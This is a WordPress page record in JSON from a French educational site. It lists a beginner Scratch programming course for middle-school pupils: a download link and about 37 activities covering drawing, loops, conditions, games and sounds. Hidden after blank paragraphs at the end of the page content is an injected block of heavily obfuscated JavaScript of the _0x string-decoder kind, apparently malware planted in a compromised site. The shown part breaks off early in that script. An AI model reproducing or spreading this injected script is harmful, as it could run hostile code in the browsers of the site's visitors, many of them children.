{"id":3126,"date":"2024-02-03T15:17:51","date_gmt":"2024-02-03T15:17:51","guid":{"rendered":"https:\/\/www.energy-sciences.org\/sciences\/?page_id=3126"},"modified":"2024-07-26T16:07:37","modified_gmt":"2024-07-26T16:07:37","slug":"2-annee-college-informatique","status":"publish","type":"page","link":"https:\/\/www.energy-sciences.org\/sciences\/2-annee-college-informatique\/","title":{"rendered":"Initiation \u00e0 la ROBOTIQUE : SCRATCH"},"content":{"rendered":"<p><span style=\"font-size: 18pt;\">PARTIE : SCRATCH<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\">Scratch est un logiciel id\u00e9al pour apprendre \u00e0 programmer. Il a \u00e9t\u00e9 sp\u00e9cialement con\u00e7u pour les enfants et les d\u00e9butants. La programmation avec Scratch est ludique car il est facile de faire de beaux dessins et des petits jeux. En plus, la programmation est simple, car il suffit de d\u00e9placer des blocs pour \u00e9crire son code.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 14pt;\">Les langages pour programmer un ordinateur sont nombreux, mais une fois qu\u2019un langage est bien compris, les autres s\u2019apprennent plus vite. Scratch est facile \u00e0 prendre en main et il permet d\u2019aborder bon nombre de situations de programmation. Avec Scratch, la programmation devient un jeu et votre ordinateur un compagnon.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/downloads.scratch.mit.edu\/desktop\/Scratch%20Setup.exe\">Pour t\u00e9l\u00e9charger Scratch3 cliquez ici<\/a><\/p>\n<p>&nbsp;<\/p>\n<p><strong><span style=\"font-size: 18pt; color: #ff0000;\">Premiers pas<\/span><\/strong><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-deplacer-le-chat-scratch\/\"><span style=\"font-size: 14pt;\">Activit\u00e9 1: Commen\u00e7ons par d\u00e9placer le chat Scratch.<\/span><\/a><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-on-aimerait-que-scratch-revienne-au-depart-et-quil-tracer-son-chemin\/\"><span style=\"font-size: 14pt;\">Activit\u00e9 2: On aimerait que Scratch revienne au d\u00e9part, et qu&rsquo;il tracer son chemin.<\/span><\/a><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-tracez-la-figure-de-la-lettre-g\/\"><span style=\"font-size: 14pt;\">Activit\u00e9 3: Scratch trace une figure repr\u00e9sentant la lettre \u00ab G \u00bb.<\/span><\/a><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-activite-4-trace-la-figure-representant-la-lettre-l\/\"><span style=\"font-size: 14pt;\">Activit\u00e9 4: Scratch trace une figure repr\u00e9sentant la lettre \u00ab L \u00bb.<\/span><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><strong><span style=\"font-size: 18pt; color: #ff0000;\">R\u00e9p\u00e9ter<\/span><\/strong><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-5-trace-un-escalier\/\"><span style=\"font-size: 14pt;\">Activit\u00e9 5: Scratch trace\u00a0 un escalier<\/span><\/a><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-6-trace-un-polygone-et-changer-de-couleur-a-chaque-cote\/\"><span style=\"font-size: 14pt;\">Activit\u00e9 6: Scratch trace un polygone et changer de couleur \u00e0 chaque c\u00f4t\u00e9<\/span><\/a><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-7-trace-des-escaliers-et-change-de-couleur\/\"><span style=\"font-size: 14pt;\">Activit\u00e9 7: Scratch trace des escaliers et change de couleur<\/span><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #ff0000;\"><strong><span style=\"font-size: 18pt;\">Coordonn\u00e9es x, y<\/span><\/strong><\/span><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-8-essaie-de-reproduire-la-spirale-en-couleur\/\"><span style=\"font-size: 14pt;\">Activit\u00e9 8: Scratch essaie de reproduire la spirale en couleur<\/span><\/a><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-9-tu-vas-programmer-un-premier-logiciel-de-dessin\/\"><span style=\"font-size: 14pt;\">Activit\u00e9 9: Scratch vas programmer un premier logiciel de dessin<\/span><\/a><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-10-tracez-le-chiffre-4-dans-la-grille-de-coordonnees\/\">Activit\u00e9 10: Trace le chiffre \u00ab 4 \u00bb sur une grille de coordonn\u00e9es comme arri\u00e8re plan<\/a><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-11-tracez-le-chiffre-7\/\">Activit\u00e9 11: Trace le chiffre \u00ab 7 \u00bb sur une grille de coordonn\u00e9es comme arri\u00e8re plan<\/a><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #ff0000;\"><strong><span style=\"font-size: 18pt;\">Si &#8230; alors &#8230;<\/span><\/strong><\/span><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-12-scratch-doit-atteindre-la-zone-ovale-rouge-sans-toucher-les-rectangles-bleus\/\">Activit\u00e9 12: Scratch se d\u00e9place et rebondit sur les bords<\/a><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-13-lutilisateur-deplace-scratch-avec-les-touches-de-fleches-du-clavier-de-facon-a-suivre-un-chemin\/\">Activit\u00e9 13: L\u2019utilisateur d\u00e9place Scratch avec les touches de fl\u00e8ches du clavier<\/a><\/p>\n<p><a href=\"https:\/\/www.energy-sciences.org\/sciences\/scratch-14-programmer-votre-premier-jeu\/\">Activit\u00e9 14: Tu vas programmer ton premier jeu avec Scratch<\/a><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #ff0000;\"><strong><span style=\"font-size: 18pt;\">Entr\u00e9e\/Sortie<\/span><\/strong><\/span><\/p>\n<p>Activit\u00e9 15: Programme Scratch afin qu\u2019il r\u00e9agisse en fonction de quelques commandes.<\/p>\n<p>Activit\u00e9 16: Scratch doit tracer un triangle en suivant les indications de l\u2019utilisateur.<\/p>\n<p>Activit\u00e9 17 : Scratch demande l\u2019\u00e2ge de l\u2019utilisateur et trace un polygone avec autant de c\u00f4t\u00e9s que cet \u00e2ge.<\/p>\n<p>&nbsp;<\/p>\n<p><strong><span style=\"font-size: 18pt; color: #ff0000;\">Variables et hasard<\/span><\/strong><\/p>\n<p>Activit\u00e9 18: Un grand jeu classique de la programmation.<\/p>\n<p>Activit\u00e9 19: Tracer le triangle de Sierpinski.<\/p>\n<p>Activit\u00e9 19: Programmer un petit jeu de ping-pong.<\/p>\n<p>&nbsp;<\/p>\n<p><strong><span style=\"font-size: 18pt; color: #ff0000;\">Si &#8230; alors &#8230; sinon &#8230;<\/span><\/strong><\/p>\n<p>Activit\u00e9 20: Programme un petit quiz.<\/p>\n<p>Activit\u00e9 21: Demande \u00e0 l\u2019utilisateur un nombre entre 100 et 999 et fais en sorte que l\u2019ordinateur r\u00e9ponde si ce nombre<br \/>\nest divisible par 5, puis s\u2019il est divisible par 3.<\/p>\n<p>Activit\u00e9 22: Programme un jeu de calcul mental.<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #ff0000;\"><strong><span style=\"font-size: 18pt;\">Plusieurs lutins<\/span><\/strong><\/span><\/p>\n<p>Activit\u00e9 23: Programme quatre chats qui courent les uns apr\u00e8s les autres.<\/p>\n<p>Activit\u00e9 24: Programme un petit jeu de calcul mental avec un chat et trois souris.<\/p>\n<p>Activit\u00e9 25: Programme un canon qui lance une balle. Si la balle touche le chien, c\u2019est gagn\u00e9 !<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #ff0000;\"><strong><span style=\"font-size: 18pt;\">Sons<\/span><\/strong><\/span><\/p>\n<p>Scratch permet de jouer des sons, des notes avec divers instruments, et m\u00eame d\u2019enregistrer ses propres sons. On<br \/>\nva ici s\u2019int\u00e9resser plut\u00f4t \u00e0 l\u2019aspect scientifique du son.<\/p>\n<p>Activit\u00e9 26: Scratch se d\u00e9place sur un arc-en-ciel et joue une musique en fonction de la couleur sur laquelle il se<br \/>\ntrouve.<\/p>\n<p>Activit\u00e9 27 : Le son est une onde.<\/p>\n<p>Activit\u00e9 28 : L\u2019effet Doppler.<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #ff0000;\"><strong><span style=\"font-size: 18pt;\">Invasion<\/span><\/strong><\/span><\/p>\n<p>Tu vas programmer en trois \u00e9tapes un jeu s\u2019inspirant du c\u00e9l\u00e8bre jeu Space invaders.<\/p>\n<p>Le chat est attaqu\u00e9 par des chauves-souris qui lui lancent des bombes bleues. Il r\u00e9plique avec des balles<br \/>\njaunes. Le chat peut aussi s\u2019abriter sous un abri, mais celui-ci n\u2019est que provisoire.<\/p>\n<p>Activit\u00e9 29 : Le chat et les balles.<\/p>\n<p>Activit\u00e9 30 : La chauve-souris attaque.<\/p>\n<p>Activit\u00e9 31 : Un pare-bombes.<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #ff0000;\"><strong><span style=\"font-size: 18pt;\">Cr\u00e9er ses blocs<\/span><\/strong><\/span><\/p>\n<p>Cr\u00e9er ses propres blocs a plusieurs avantages : cela \u00e9vite de recopier du code qui appara\u00eet plusieurs fois, et le<br \/>\ncode devient plus court. Le programme ne sera pas plus rapide et le r\u00e9sultat sera le m\u00eame, mais le code sera plus<br \/>\nfacile \u00e0 \u00e9crire et \u00e0 lire !<\/p>\n<p>Activit\u00e9 32 : Cr\u00e9e ton bloc \u00e9toile.<\/p>\n<p>Activit\u00e9 33 : Cr\u00e9e un bloc cercle.<\/p>\n<p>Activit\u00e9 34 : R\u00e9alis\u00e9s \u00e0 partir de blocs des figures simples.<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #ff0000;\"><strong><span style=\"font-size: 18pt;\">Listes<\/span><\/strong><\/span><\/p>\n<p>Activit\u00e9 35 : Calcul de la moyenne<\/p>\n<p>Activit\u00e9 36 : Programme un jeu de mots.<\/p>\n<p>Activit\u00e9 37: Programme un mini-jeu de loto en couleur.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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